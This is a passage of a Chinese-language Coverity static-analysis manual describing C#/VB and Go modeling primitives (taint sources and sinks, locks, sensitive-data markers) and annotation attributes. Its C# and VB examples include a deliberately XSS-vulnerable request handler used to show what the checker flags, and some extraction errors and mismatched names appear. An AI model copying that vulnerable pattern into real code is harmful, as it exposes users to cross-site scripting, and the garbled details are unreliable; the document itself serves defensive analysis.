- Security.DatabaseObjectSource()
- Security.FileSystemSource(Object)
- Security.FileSystemSource()
- Security.ConsoleSource(Object)
- Security.ConsoleSource()
- Security.EnvironmentSource(Object)
- Security.EnvironmentSource()

- `Security.SystemPropertiesSource(Object)`
- `Security.SystemPropertiesSource()`
- `Security.RpcSource(Object)`
- `Security.RpcSource()`
- `Security.CookieSource()`
- `Security.CookieSource(Object)`

零参数源原语可用于为返回字符串型或简单集合对象（分析将其视为被污染的数据）的方法建模。

单一参数源原语可用于为污染字符串型或简单集合参数（假设通过向其中插入被污染的字符串或字符系列）的方法建模。原语参数必须是被建模方法的参数之一。

每种变体对应一种特定污染类型，这些类型可使用 cov-analyze“trust”和“distrust”命令行选项（例如 `--distrust-http` 和 `--distrust-http`），有关这些选项的描述，请参阅《Coverity 命令说明书



### 5.2.1.3. C# 和 Visual Basic 原语

#### 5.2.1.3.1. Concurrency.Lock(System.Object o)

在提供的对象上模拟获取锁的操作。

参数：

- `o` - 要被建模为将锁定的锁的对象。

另请参阅：

- `Concurrency.Unlock(System.Object)`

#### 5.2.1.3.2. Concurrency.LockByMonitor(System.Object o)

在提供的对象上模拟获取锁（通过 monitor）的操作。

通常情况下，`Concurrency.Lock(System.Object)` 是用于表示锁语法的首选方法，因为 `LockByMonitor` 对略有不同的行为建模，并且仅适用于 `Monitor` 对象。

参数：

- `o` - 要被建模为将锁定的 monitor 锁的对象。

#### 5.2.1.3.3. Concurrency.TimedWait(System.Object o)

在提供的对象（可能在对象上发生超时之后以及产生 pulse 之前返回）上模拟 wait 操作。

参数：

- o - 对象受 wait 操作的影响。

另请参阅：

- [Concurrency.Wait\(System.Object\)](#)

#### 5.2.1.3.4. Concurrency.Unlock(System.Object o)

在提供的对象上模拟释放锁的操作。

参数：

- o - 要被建模为将解锁的锁的对象。

另请参阅：

- [Concurrency.Lock\(System.Object\)](#)

#### 5.2.1.3.5. Concurrency.UnlockByMonitor(System.Object o)

在提供的对象上模拟释放锁（通过 monitor）的操作。

通常情况下，`Concurrency.Unlock(System.Object)` 是用于表示解锁语法的首选方法，因为 `UnlockByMonitor` 对略有不同的行为建模，并且仅适用于 Monitor 对象。

参数：

- o - 要被建模为将解锁的 monitor 锁的对象。

#### 5.2.1.3.6. Concurrency.Wait(System.Object o)

在提供的对象上模拟 wait 操作（可能对对象上的 pulse 无限阻塞）。

参数：

- o - 对象受 wait 操作的影响。

另请参阅：

- [Concurrency.TimedWait\(System.Object\)](#)

#### 5.2.1.3.7. Reference.Alias(System.Object to, System.Object from)

表明作为第一个参数提供的对象（to）会被视为作为第二个参数提供的对象（from）的别名。在这种情况下，关闭在第一个参数中引用的对象（to）会被理解为关闭第二个参数中的对象（from）。这通常用于为包含和可正确管理也具有打开和关闭语法的成员的类建模。分析明白关闭包含类会同时关闭包含的成员。

参数：

- to - 被指定为另一个对象别名的对象。

- `from` - 被设置别名的对象。

另请参阅：

- `Reference.Open(System.Object)`
- `Reference.Close(System.Object)`

#### 5.2.1.3.8. `Reference.Close(System.Object o)`

表明提供的对象会被视为已关闭。关闭的对象之前应该已经打开。如果 `o` 是之前已打开的资源，则不再需要关闭。此原语的调用通常插入至处理资源关闭的位置。

参数：

- `o` - 被关闭的对象。

另请参阅：

- `Reference.Open(System.Object)`

#### 5.2.1.3.9. `Reference.Escape(System.Object o)`

表明指定对象会被视为要进行转义。分析不会再跟踪已转义的对象。传递进来的值可能会也可能不会流入程序的其他部分或在其中使用。这也意味着程序缺陷 65768 导致“关闭”。

参数：

- `o` - 被转义的对象。

#### 5.2.1.3.10. `Reference.EscapeNoClose(System.Object o)`

表明指定对象会被视为要进行转义。分析不会再跟踪已转义的对象。传递进来的值可能会也可能不会流入程序的其他部分或在其中使用。

参数：

- `o` - 被转义的对象。

#### 5.2.1.3.11. `Reference.Open(System.Object o)`

表明提供的对象 (`o`) 是会被视为已打开的资源 (因此后面应该将其关闭)。

参数：

- `o` - 被打开的对象。

另请参阅：

- `Reference.Close(System.Object)`

#### 5.2.1.3.12. Security.AuthzAction()

表明此方法与通常需要验证的操作关联。MISSING\_AUTHZ 检查器仅会在调用此类方法时报告缺陷。

#### 5.2.1.3.13. Security.CSRFCheckNeededForDBUpdate()

表明此方法可修改数据库，应该通过跨站请求伪造检查加以保护。否则，CSRF 检查器可能会报告缺陷。

#### 5.2.1.3.14. Security.CSRFCheckNeededForFileModification()

表明此方法可修改文件系统，并且应该通过跨站请求伪造检查加以保护。否则，CSRF 检查器可能会报告缺陷。

#### 5.2.1.3.15. Security.CSRFValidator()

表明此方法可检查防伪造令牌的有效性。该检查器会认为调用此方法的请求处理程序是安全的。

#### 5.2.1.3.16. Security.CommandArgumentsSink(System.Object o)

将其参数标记为流入将其视为操作系统命令（例如 System.Diagnostics.Process.Start(String fileName, String arguments)）参数的方法。OS\_CMD\_INJECTION 检查器将在被污染数据流入此原语时报告缺陷。使用此原语为获取、分析单个字符串并将其用作新进程参数的 OS\_CMD\_INJECTION 的数据消费者建模。

参数：

- o - 要执行的进程的参数。

#### 5.2.1.3.17. Security.CommandFilenameSink(System.Object o)

将其参数标记为流入将其视为应用程序文件名并且将其作为操作系统命令（例如 System.Diagnostics.Process.Start(String fileName)）运行的方法。OS\_CMD\_INJECTION 检查器将在被污染数据流入此原语时报告缺陷。使用此原语为获取并运行单个字符串的 OS\_CMD\_INJECTION 的数据消费者建模。

参数：

- o - 要执行的应用程序的文件名。

#### 5.2.1.3.18. Security.ConsoleSource()

返回分析将其视为来自控制台的被污染数据的任意类型对象。使用此原语为返回来自控制台的被污染数据的方法建模。

#### 5.2.1.3.19. Security.ConsoleSource(System.Object o)

将其参数标记为包含来自控制台的被污染数据。使用此原语为将来自控制台的被污染数据追加至其中一个参数的方法建模。

参数：

- o - 将被污染的参数。

#### 5.2.1.3.20. Security.CookieSource()

返回分析将其视为来自 cookie 的被污染数据的任意类型对象。使用此原语为返回来自 cookie 的被污染数据的方法建模。

#### 5.2.1.3.21. Security.CookieSource(System.Object o)

将其参数标记为包含来自 cookie 的被污染数据。使用此原语为将来自 cookie 的被污染数据追加至其中一个参数的方法建模。

参数：

- o - 将被污染的参数。

#### 5.2.1.3.22. Security.DatabaseObjectSource()

使用此原语为返回对象（使用来自数据库的被污染值填充，例如使用对象关系映射 [ORM]）的方法建模。当分析发现返回值被转换为用户类型时，会将该实例的所有成员都视为被污染。如果其中任何成员本身属于用户数据类型，将通过递归的方式对其应用污染。

#### 5.2.1.3.23. Security.DatabaseObjectSource(System.Object o)

使用此原语为使用来自数据库的被污染数据填充参数（例如使用对象关系映射 [ORM]）的方法建模。当分析发现调用位置参数被转换为用户类型时，会将该实例的所有成员都视为被污染。如果其中任何成员本身属于用户数据类型，将通过递归的方式对其应用污染。

参数：

- o - 将被污染的参数。

#### 5.2.1.3.24. Security.DatabaseSource()

返回分析将其视为来自数据库的被污染数据的任意类型对象。使用此原语为返回来自数据库的被污染数据的方法建模。

#### 5.2.1.3.25. Security.DatabaseSource(System.Object o)

将其参数标记为包含来自数据库的被污染数据。使用此原语为将来自数据库的被污染数据追加至其中一个参数的方法建模。

参数：

- o - 将被污染的参数。

#### 5.2.1.3.26. Security.EnvironmentSource()

返回分析将其视为来自环境的被污染数据的任意类型对象。使用此原语为返回来自环境的被污染数据的方法建模。

#### 5.2.1.3.27. Security.EnvironmentSource(System.Object o)

将其参数标记为包含来自环境的被污染数据。使用此原语为将来自环境的被污染数据追加至其中一个参数的方法建模。

参数：

- o - 将被污染的参数。

#### 5.2.1.3.28. Security.FileSystemSource()

返回分析将其视为来自文件系统的被污染数据的任意类型对象。使用此原语为返回来自文件系统的被污染数据的方法建模。

#### 5.2.1.3.29. Security.FileSystemSource(System.Object o)

将其参数标记为包含来自文件系统的被污染数据。使用此原语为将来自文件系统的被污染数据追加至其中一个参数的方法建模。

参数：

- o - 将被污染的参数。

#### 5.2.1.3.30. Security.HardcodedConnectionStringSink(System.Object o)

将其参数标记为流入将其作为连接字符串使用的方法。HARDCODED\_CREDENTIALS 检查器将在常量字符串在连接字符串中用作密码时报告缺陷。

参数：

- o - 包含凭据的对象。

#### 5.2.1.3.31. Security.HardcodedCryptographicKeySink(System.Object o)

将其参数标记为流入将其作为密码密钥使用的方法。HARDCODED\_CREDENTIALS 检查器将在向其传递源代码嵌入式常量字符串时报告缺陷。

参数：

- o - 包含凭据的对象。

#### 5.2.1.3.32. Security.HardcodedPasswordSink(System.Object o)

将其参数标记为流入将其作为密码使用的方法。HARDCODED\_CREDENTIALS 检查器将在向其传递源代码嵌入式常量字符串时报告缺陷。

参数：

- o - 包含密码的对象。

#### 5.2.1.3.33. Security.HardcodedSecurityTokenSink(System.Object o)

将其参数标记为流入将其作为安全令牌使用的方法。HARDCODED\_CREDENTIALS 检查器将在向其传递源代码嵌入式常量字符串时报告缺陷。

参数：

- o - 包含凭据的对象。

#### 5.2.1.3.34. Security.HttpHeaderMapValuesSource()

返回分析将其值视为来自 HTTP 头文件的被污染数据的映射。使用此原语为返回映射（通过来自 HTTP 头文件的被污染值构造）的方法建模。

#### 5.2.1.3.35. Security.HttpHeaderMapValuesSource(System.Object map)

将其 map 参数的所有值标记为包含来自 HTTP 头文件的被污染数据。使用此原语为使用来自 HTTP 头文件的被污染数据填充字典值的方法建模。

参数：

- map - 值将被污染的字典。

#### 5.2.1.3.36. Security.HttpHeaderSource()

返回分析将其视为来自 HTTP 头文件的被污染数据的任意类型对象。使用此原语为返回来自 HTTP 头文件的被污染数据的方法建模。

#### 5.2.1.3.37. Security.HttpHeaderSource(System.Object o)

将其参数标记为包含来自 HTTP 头文件的被污染数据。使用此原语为将来自 HTTP 头文件的被污染数据追加至其中一个方法参数的方法建模。

参数：

- o - 将被污染的参数。

#### 5.2.1.3.38. Security.HttpMapValuesSource()

返回分析将其值视为来自 HTTP 请求的被污染数据的映射。使用此原语为返回映射（通过来自 HTTP 请求的被污染值构造）的方法建模。

#### 5.2.1.3.39. Security.HttpMapValuesSource(System.Object map)

将其 map 参数的所有值标记为包含来自 HTTP 请求的被污染数据。使用此原语为使用来自 HTTP 请求的被污染数据填充字典值的方法建模。

参数：

- map - 值将被污染的字典。

#### 5.2.1.3.40. Security.HttpRedirectSink(System.Object o)

将方法参数标记为用作要重定向至的 HTTP 地址。OPEN\_REDIRECT 检查器将在向此方法传递不安全的用户控制的字符串时报告缺陷。

#### 5.2.1.3.41. Security.HttpSource()

返回分析将其视为来自 HTTP 请求的被污染数据的任意类型对象。使用此原语为返回来自 HTTP 请求的被污染数据的方法建模。

#### 5.2.1.3.42. Security.HttpSource(System.Object o)

将其参数标记为包含来自 HTTP 请求的被污染数据。使用此原语为将被污染的 HTTP 请求数据追加至其中一个参数的方法建模。

参数：

- o - 将被污染的参数。

#### 5.2.1.3.43. Security.InsecureRandomValueSource()

返回分析将其视为不安全随机值的任意类型对象。使用此原语为返回不安全随机值的方法建模。

#### 5.2.1.3.44. Security.InsecureRandomValueSource(System.Object o)

将其参数标记为包含不安全随机值。使用此原语为将不安全随机值追加至其中一个方法参数的方法建模。

参数：

- o - 将包含不安全随机值的参数。

#### 5.2.1.3.45. Security.NetworkSource()

返回分析将其视为来自网络的被污染数据的任意类型对象。使用此原语为返回来自网络的被污染数据的方法建模。

#### 5.2.1.3.46. Security.NetworkSource(System.Object o)

将其参数标记为包含来自网络的被污染数据。使用此原语为将被污染的网络数据追加至其中一个参数的方法建模。

参数：

- o - 将被污染的参数。

#### 5.2.1.3.47. Security.RpcSource()

返回分析将其视为来自远程过程调用的被污染数据的任意类型对象。使用此原语为返回来自远程过程调用的被污染数据的方法建模。

#### 5.2.1.3.48. Security.RpcSource(System.Object o)

将其参数标记为包含来自远程过程调用的被污染数据。使用此原语为将来自远程过程调用的被污染数据追加至其中一个参数的方法建模。

参数：

- o - 将被污染的参数。

#### 5.2.1.3.49. Security.SDLCookieSink(System.Object o)

表明此方法在 cookie 中存储敏感数据，应该通过某种方式净化。否则，SENSITIVE\_DATA\_LEAK 检查器可能会报告缺陷。

参数：

- o - 存储在 cookie 中的对象。

#### 5.2.1.3.50. Security.SDLDatabaseSink(System.Object o)

表明此方法在数据库中存储敏感数据，应该通过某种方式净化。否则，SENSITIVE\_DATA\_LEAK 检查器可能会报告缺陷。

参数：

- o - 被写入数据库的对象。

#### 5.2.1.3.51. Security.SDLFileSystemSink(System.Object o)

表明此方法在文件系统中存储敏感数据，应该通过某种方式净化。否则，SENSITIVE\_DATA\_LEAK 检查器可能会报告缺陷。

参数：

- o - 被写入文件系统的对象。

#### 5.2.1.3.52. Security.SDLLoggingSink(System.Object o)

表明此方法在日志中存储敏感数据，应该通过某种方式净化。否则，SENSITIVE\_DATA\_LEAK 检查器可能会报告缺陷。

参数：

- o - 存储在日志中的对象。

#### 5.2.1.3.53. Security.SDLRegistrySink(System.Object o)

表明此方法在注册表中存储敏感数据，应该通过某种方式净化。否则，SENSITIVE\_DATA\_LEAK 检查器可能会报告缺陷。

参数：

- o - 存储在注册表中的对象。

#### 5.2.1.3.54. Security.SDLTransitSink(System.Object o)

表明此方法在其他位置存储敏感数据，应该通过某种方式净化/保护。否则，SENSITIVE\_DATA\_LEAK 检查器可能会报告缺陷。

参数：

- o - 被传输的对象。

#### 5.2.1.3.55. Security.SDLUISink(System.Object o)

表明此方法将敏感数据返回给用户，应该通过某种方式净化。否则，SENSITIVE\_DATA\_LEAK 检查器可能会报告缺陷。

参数：

- o - 显示的对象。

#### 5.2.1.3.56. Security.SecureRandomSeedSink(System.Object o)

表明方法参数是安全随机数生成器种子。PREDICTABLE\_RANDOM\_SEED 检查器将在向此方法传递可预测种子时报告缺陷。

#### 5.2.1.3.57. Security.SensitiveSource(Coverity.Primitives.SensitiveDataType type)

返回分析将其视为敏感数据的任意类型对象。使用此原语为返回敏感数据的方法建模。

参数：

- type - 特定类型的敏感数据。

#### 5.2.1.3.58. Security.SensitiveSource(System.Object o, Coverity.Primitives.SensitiveDataType type)

将其参数标记为包含敏感数据。使用此原语为将敏感数据放置到其中一个参数中的方法建模。

参数：

- o - 目前包含敏感数据的对象。
- type - 特定类型的敏感数据。

#### 5.2.1.3.59. Security.SqlSink(System.Object o)

将其参数标记为流入将其作为 SQL、HQL 或 JPQL 查询等运行的方法。该 SQLI 检查器会在被污染的数据流入此原语时报告缺陷。使用此原语为 SQLI 的数据消费者建模。

参数：

- o - 包含查询的对象。

#### 5.2.1.3.60. Security.SystemPropertiesSource()

返回分析将其视为来自系统属性的被污染数据的任意类型对象。使用此原语为返回来自系统属性的被污染数据的方法建模。

#### 5.2.1.3.61. Security.SystemPropertiesSource(System.Object o)

将其参数标记为包含来自系统属性的被污染数据。使用此原语为将来自系统属性的被污染数据追加至其中一个参数的方法建模。

参数：

- o - 将被污染的参数。

#### 5.2.1.3.62. Security.UnencryptedCryptographicKeySink(System.Object o)

将其参数标记为流入将其作为密码密钥使用的方法。UNENCRYPTED\_SENSITIVE\_DATA 检查器可能会在未加密（被污染）数据流入此原语时报告缺陷。

#### 5.2.1.3.63. Security.UnencryptedPasswordSink(System.Object o)

将其参数标记为流入将其作为密码使用的方法。UNENCRYPTED\_SENSITIVE\_DATA 检查器可能会在未加密（被污染）数据流入此原语时报告缺陷。

#### 5.2.1.3.64. Security.UnencryptedSecurityTokenSink(System.Object o)

将其参数标记为流入将其作为安全令牌使用的方法。UNENCRYPTED\_SENSITIVE\_DATA 检查器可能会在未加密（被污染）数据流入此原语时报告缺陷。

#### 5.2.1.3.65. Security.UnencryptedSocketSource()

返回分析将其视为未加密（非 SSL）套接字的任意类型对象。使用此原语为返回未加密套接字的方法建模。

#### 5.2.1.3.66. Security.UnencryptedSocketSource(System.Object o)

将其参数标记为未加密（非 SSL）套接字。

参数：

- o - 已知为未加密套接字的参数。

#### 5.2.1.3.67. Security.UnencryptedURLConnectionSource()

返回分析将其视为未加密 URL 连接的任意类型对象。使用此原语为返回未加密 URL 连接的方法建模。

#### 5.2.1.3.68. Security.UnencryptedURLConnectionSource(System.Object o)

将其参数标记为未加密 URL 连接。

参数：

- o - 已知为未加密 URL 连接的参数。

#### 5.2.1.3.69. SideEffect.SideEffectFree()

假设调用此原语的所有方法除了对其返回值之外没有任何有用的作用。

#### 5.2.1.3.70. SideEffect.SideEffectOnlyThis()

假设调用此原语的所有方法除了修改其接收方 (this) 和可能返回值之外没有任何有用的作用。分析目前将此确切解释为“SideEffects”，但这将来有可能发生更改，以帮助查找更多 USELESS\_CALL 缺陷。

#### 5.2.1.3.71. SideEffect.SideEffects()

假设调用此原语的所有方法除了对其返回值之外都有潜在其他作用。适用的情况下首选调用 SideEffectOnlyThis。调用此原语并不一定 是必需的，因为提供给 cov-make-library 的任何方法定义都被推测缺少其中一个原语时具有其他作用。但是，建议在非 void 方法的每个自定义模型中调用一个此类原语（即使它是“SideEffects”），以表明选择了最合适的一项。

#### 5.2.1.3.72. Util.KillPath()

表明路径的剩余部分不可达 (“killpath”)。

#### 5.2.1.3.73. Util.Nondet()

表示某些可影响方法行为的不确定条件，它们的精确特征表示为布尔值，对分析并不重要。分析将返回的值视为来自未知、未实现或原生方法的返回值。

调用 `Nondet()` 会被视为每次调用时使用 `true` 和 `false` 都可以的证据，而且您通常都希望使用此值。在极少数情况下，您可能想要未知的布尔值（即，没有特定证据表明使用 `true` 和 `false` 都可以）。在这种情况下，将 `Util.Unknown()` 的结果转换为 `bool` 并使用该值。这样做会导致分析中的行为略有差异，而且大部分情况下都是不必要的。

另请参阅：

- `Util.Unknown()`

#### 5.2.1.3.74. Util.Unknown()

表示被建模方法处理的一些未知对象，它们的确切特征对建模行为并不重要。您可以根据需要转换、解引用或断言返回的对象。

`Unknown()` 类似于外部实现函数，会返回可能与程序中其他状态相关也可能不相关的值，因此调用 `Unknown()` 本身不会被视为使用任何特定返回值都可以的证据。转换、解引用或断言 `Unknown()` 的结果对于指导分析很有用，因为在缺少说明它们可能失败的证据时，分析会假设唯一需要留意的程序行为是成功执行的行为。例如，让模型将 `Unknown()` 的结果与 `null` 进行比较暗示了这种可能性（在分析中得到反映）。

另请参阅：

- `Util.Nondet()`

## 5.2.2. 为 C# 或 Visual Basic 添加注解

通过向 Coverity Analysis 分析的源文件添加注解，您可以获取更准确的结果。您可以显式将程序数据标记为具有某些属性或行为，而不是让该检查器推断信息。分析可以在运行时读取这些注解。Coverity Analysis 注解使用 C# 或 Visual Basic 标准属性的语法。

要添加注解，请执行以下步骤：

### 1. 导入相关属性类。

Coverity 属性是 `Coverity.Attributes` 命名空间的一部分，包含属性类（以及其他建模原语）的 DLL 文件位于 Coverity Analysis 安装目录的 `<install_dir> /library/primitives.dll` 中。

### 2. 通过相关属性标记方法和/或类。

支持属性的检查器

- `SENSITIVE_DATA_LEAK - SensitiveData`

- WEAK\_PASSWORD\_HASH - SensitiveData
- TAINT\_ASSERT - NotTainted
- 被污染的数据流检查器 - Tainted、NotTainted

3. 对带有注解的代码运行分析。

#### 5.2.2.1. **Tainted** 和 **NotTainted** 属性

##### [Tainted] / <Tainted()> 属性

将字段标记为 `Tainted` 表明安全检查器应该将该字段视为来自不可信的源（即，被污染）。尤其是，安全检查器（例如 XSS、SQLI 和 OS\_CMD\_INJECTION）会在被注解为 `Tainted` 的字段流入 HTML 输出、SQL 解释器或另一个此类数据消费者时报告缺陷。

Example 5.5. C# :

```
using Coverity.Attributes;
using System.Web;
using System.Web.Mvc;

class HasTaintedField {
 // Here is a class member annotated as being tainted.
 [Tainted] string Untrusted;
}

// An MVC controller
class MyController : Controller {

 private HasTaintedField SomeData;

 // A controller request handler
 public ActionResult GetSomeHtml()
 {
 // The annotated member is used in an unsafe way.
 // A cross-site scripting defect is reported.
 return Content("<html>" + SomeData.Untrusted + "</html>"); // XSS Defect
 }
}
```

Example 5.6. Visual Basic :

```
Imports Coverity.Attributes
Imports System
Imports System.Web
Imports System.Web.Mvc

Class HasTaintedField
 ' Here is a class member annotated as being tainted.
 <Tainted()> Untrusted As String
```

```

End Class

' An MVC controller
Class MyController
 Inherits Controller

 Private SomeData As HasTaintedField

 ' A controller request handler
 Public Function GetSomeHtml() As ActionResult
 ' The annotated member is used in an unsafe way.
 ' A cross-site scripting defect is reported.
 Return Content("<html>" & SomeData.Untrusted & "</html>") 'XSS Defect
 End Function
End Class

```

#### [NotTainted] / <NotTainted()> 属性

将字段标记为 NotTainted 会产生以下两种后果：

- 分析将使用此类数据视为未被污染，因此它不会在数据流入 HTML 输出、SQL 解释器或其他此类数据消费者时报告缺陷。
- 如果该工具发现任何被污染的数据流入该位置，分析将报告 Taint\_ASSERT 缺陷。

有关分析如何使用 NotTainted 注解的详细信息，请参阅 Section 4.309, “Taint\_ASSERT”。

#### 5.2.2.2. SensitiveData 属性

##### [SensitiveData] / <SensitiveData()>

您可以使用 SensitiveData 属性为敏感数据源建模。在下面的示例中，如果将 GetMyLocation 的返回值或传递给 RetrieveAccountNumbers 的参数传递给泄露信息的数据消费者，SENSITIVE\_DATA\_LEAK 检查器将报告缺陷。

Example 5.7. C# :

```

using Coverity.Attributes;
using Coverity.Primitives;

class SensitiveDataExample {

 [SensitiveData(SensitiveDataType.Geographical)]
 string GetMyLocation() {
 return "This is considered sensitive geographical data.";
 }

 void RetrieveAccountNumbers(
 [SensitiveData(SensitiveDataType.Account)] string[] accts)
 {
 // The parameter arg1 will be treated as sensitive account
 // data inside of this method and in the caller after passing
 }
}

```

```

 }
 / it through this method.
}
```

Example 5.8. Visual Basic :

```

Imports Coverity.Attributes
Imports Coverity.Primitives
Imports System

Class SensitiveDataExample
 <SensitiveData(SensitiveDataType.Geographical)>
 Function GetMyLocation() As String
 Return "This is considered sensitive geographical data."
 End Function

 Sub RetrieveAccountNumbers(
 <SensitiveData(SensitiveDataType.Account)> accts() as String)
 ' The parameter arg1 will be treated as sensitive account
 ' data inside of this method and in the caller after passing
 ' it through this method.
 End Sub
End Class
```

使用属性的数组参数可指定多种敏感数据类型。在下面的示例中，字段 `LoginInfo` 将被视为用户标识符和密码数据。

Example 5.9. C# :

```

class LoginService {
 [SensitiveData(new[] { SensitiveDataType.UserId, SensitiveDataType.Password })]
 List<string> LoginInfo;
}
```

Example 5.10. Visual Basic :

```

Class LoginService
 <SensitiveData({SensitiveDataType.UserId, SensitiveDataType.Password})>
 Dim LoginInfo As List(Of String)
End Class
```

请参阅Table 4.6，“敏感数据源类型”获得您可以使用的敏感数据类型的完整列表。

## 5.3. Go 中的模型

### 5.3.1. 在 Go 中添加模型

您可以出于与为 Java 创建模型相同的原因在 Go 中创建模型（请参阅Section 5.4.1，“添加 Java 模型”）。将模型添加到分析中的步骤略有不同。

要添加新模型，请执行以下步骤：

### 1. 导入相关原语

适用于 Go 的 Coverity 原语是 `synopsys.com/coverity-primitives` 命名空间的一部分。Coverity Analysis 在 `<install_dir>/library/go/src/synopsys.com/coverity-primitives/primitives.go` 中提供了包含原语的汇编。

有关这些原语的描述，请参阅Section 5.3.1.3, “Go 原语”。

### 2. 添加代表想要添加方法的行为的 stub 方法。

要正确地应用模型，命名空间名称、类名称、类型参数的数量和名称、方法名称、方法参数类型以及返回类型必须全部匹配。

### 3. 使用 cov-make-library 命令编译类并注册该模型。

使用 cov-make-library，对包含 C 依赖项的模型的支持在默认情况下处于禁用状态。有关详细信息，请参阅《命令说明书》中的“cov-make-library”。

有关一般指导，请参阅“为资源泄漏建模”中的 Java 示例。

### 4. 使用 cov-analyze 命令运行分析以及新模型。

下面是在此类情况下运行 cov-analyze 的示例命令行：

```
> cov-analyze --dir <intermediate_directory> --user-model-file ../../user_models.xmlldb
```

#### 5.3.1.1. 为敏感数据源建模

当分析检测到通过不安全的方式使用敏感数据的情况时，它会报告缺陷（如 SENSITIVE\_DATA\_LEAK 和 WEAK\_PASSWORD\_HASH）。Coverity Analysis 会自动检测许多常见的敏感数据源，但是通过编写模型以识别其他特定于应用程序的源，您可以调整分析扫描来报告其他缺陷。

可以使用Section 5.3.1.3, “Go 原语”中描述的 `SensitiveDataSource()` 原语为返回敏感数据的方法建模。

下面的模型表明 `GetUsername()` 方法返回了敏感用户标识符：

```
func GetLoginInfo() string {
 var ret string
 ret = SensitiveDataSource(SensitiveTypes.UserId).(string)
 return ret
}
```

下面的模型表明 `GetSessionId()` 将敏感会话标识符写入了其字节数组参数：

```
func GetSessionId() []byte {
 var ret_0 []byte = Unknown().([]byte)
 ret_0 = SensitiveDataSource(PersistentSecret).([]byte)
```

```
 return ret_0
}
```

### 5.3.1.2. 为不可信（被污染的）数据源建模

要为不可信数据源建模，可以使用Section 5.3.1.3，“Go 原语”中描述的 `TaintSource()` 原语。

`TaintSource()` 原语可用于为返回字符串型或简单集合对象（分析将其视为被污染的数据）的方法建模。

可以通过使用 `cov-analyze` 系列的“trust”和“distrust”命令行选项将大多数污染类型指定为可信或不可信：例如 `--distrust-http` 和 `--trust-http`。下列内容在《Coverity 命令说明书》中进行了描述。

### 5.3.1.3. Go 原语

#### 5.3.1.3.1. `ConnectionStringSink( i interface{ } )`

将其参数标记为流入将其作为连接字符串使用的方法。HARDCODED\_CREDENTIALS 检查器将在常量字符串在连接字符串中用作密码时报告缺陷。

参数：

*i*

包含凭证的实例

#### 5.3.1.3.2. `CryptoSink( i interface{ } )`

将其参数标记为流入将其作为密码密钥使用的方法。HARDCODED\_CREDENTIALS 检查器将在向其传递源代码嵌入式常量字符串时报告缺陷。

参数：

*i*

包含凭证的实例

#### 5.3.1.3.3. `HeaderSink( i interface{ } )`

将方法参数标记为用于构造 HTTP 头文件。HEADER\_INJECTION 检查器将在向此方法传递不安全的可由用户控制的字符串时报告缺陷。

参数：

*i*

包含 HTTP 头文件值的接口

#### 5.3.1.3.4. `HttpRedirectSink( i interface{ } )`

将方法参数标记为用作要重定向至的 HTTP 地址。OPEN\_REDIRECT 检查器将在向此方法传递不安全的可由用户控制的字符串时报告缺陷。

参数：

*i*

包含密码的接口

#### 5.3.1.3.5. `Lock( lock interface{ } )`

在提供的对象上模拟获取锁的操作。

参数：

*lock*

要被建模为将锁定的锁的对象

另请参阅：

- Section 5.3.1.3.20, “`Unlock( lock interface{ } )`”

#### 5.3.1.3.6. `NonDet()`

表示影响方法行为的非确定性条件。条件的精确特征对于分析而言并不重要，并且条件表示为 Boolean 值。分析将返回的值视为来自未知、未实现或原生方法的返回值。

调用 `NonDet()` 被认为是每次调用该方法时 `true` 或 `false` 是可能返回值的证据，在此情况下，您通常可能希望使用此原语。

在极少数情况下，返回值可能是未知的（即，当没有特定证据表明可能为 `true` 或 `false` 时）。在此情况下，使用 `Unknown()` 原语并将其结果转换为 `bool`。此方法会导致分析中的行为略有差异，而且大部分情况下都是不必要的。

另请参阅：

- Section 5.3.1.3.19, “`Unknown()`”

#### 5.3.1.3.7. `NoSqlSink( i interface{ } )`

将方法参数标记为用于构造 NoSQL 查询。NOSQL\_QUERY\_CHECKER 检查器将在向此方法传递不安全的可由用户控制的字符串时报告缺陷。

参数：

*i*

包含 NoSQL 查询的接口

5.3.1.3.8. `OsCmdInjectionSink( i interface{ } )`

将其参数标记为正在流入方法，该方法将参数视为要由本地操作系统 (OS) 执行的命令或命令参数。OS\_CMD\_INJECTION 检查器将在被污染数据流入此原语时报告缺陷。

参数：

*i*

包含要执行的命令或包含要执行的命令的参数的接口

5.3.1.3.9. `Panic()`

表明执行路径的剩余部分不可达：是所谓的 killpath。

5.3.1.3.10. `PasswordSink( i interface{ } )`

将其参数标记为流入将参数作为密码使用的方法。HARDCODED\_CREDENTIALS 检查器将在向此方法传递源代码嵌入式常量字符串时报告缺陷。

参数：

*i*

包含密码的接口

5.3.1.3.11. `PathSink( i interface{ } )`

将方法参数标记为用作文件名或文件系统路径。PATH\_MANIPULATION 检查器将在向此方法传递不安全的可由用户控制的字符串时报告缺陷。

参数：

*i*

包含路径的接口

5.3.1.3.12. `SensitiveDataSource( types ...SensitiveDataType )`

返回分析将其视为敏感数据的任意类型对象。使用此原语为返回敏感数据的方法建模。

参数：

*types*

特定类型的敏感数据

5.3.1.3.13. `Sleep()`

表明调用函数可能需要较长时间才能完成或者可能被阻止执行。

5.3.1.3.14. `SqlSink( i interface{ } )`

将其参数标记为流入将参数作为 SQL、HQL 或 JPQL 查询的方法。该 SQLI 检查器会在被污染的数据流入此原语时报告缺陷。

参数：

*i*

包含查询的接口

5.3.1.3.15. `TaintedEnvironmentSink( i interface{ } )`

将方法参数标记为用于设置环境变量。TINTED\_ENVIRONMENT\_WITH\_EXECUTION 检查器将在向此方法传递不安全的可由用户控制的字符串时报告缺陷。

参数：

*i*

包含要设置的环境变量的值的接口

5.3.1.3.16. `TaintSource( types ...TaintSourceType )`

返回分析将其视为被污染的数据的任意类型对象。使用此原语为返回被污染的数据的方法建模。

参数：

*types*

特定类型的污染

5.3.1.3.17. `TemplateSink( i interface{ } )`

将方法参数标记为用于构造模板。TEMPLATE\_INJECTION 检查器将在向此方法传递不安全的可由用户控制的字符串时报告缺陷。

参数：

*i*

包含模板的接口

5.3.1.3.18. `TokenSink( i interface{ } )`

将其参数标记为流入将参数作为安全令牌使用的方法。HARDCODED\_CREDENTIALS 检查器将在向此方法传递源代码嵌入式常量字符串时报告缺陷。

参数：

*i*

包含凭证的实例

#### 5.3.1.3.19. `Unknown()`

表示被建模方法处理的未知对象，它们的确切特征对建模行为并不重要。您可以根据需要转换、解引用或断言返回的对象。

`Unknown()` 原语类似于外部实现函数，会返回可能与程序中其他状态相关也可能不相关的值，因此调用 `Unknown()` 本身不会被视为使用任何特定返回值都可以的证据。转换、解引用或断言 `Unknown()` 的结果对于指导分析可能很有用，因为在缺少说明此类操作可能失败的证据时，分析会假设唯一需要留意的程序行为是成功执行的行为。

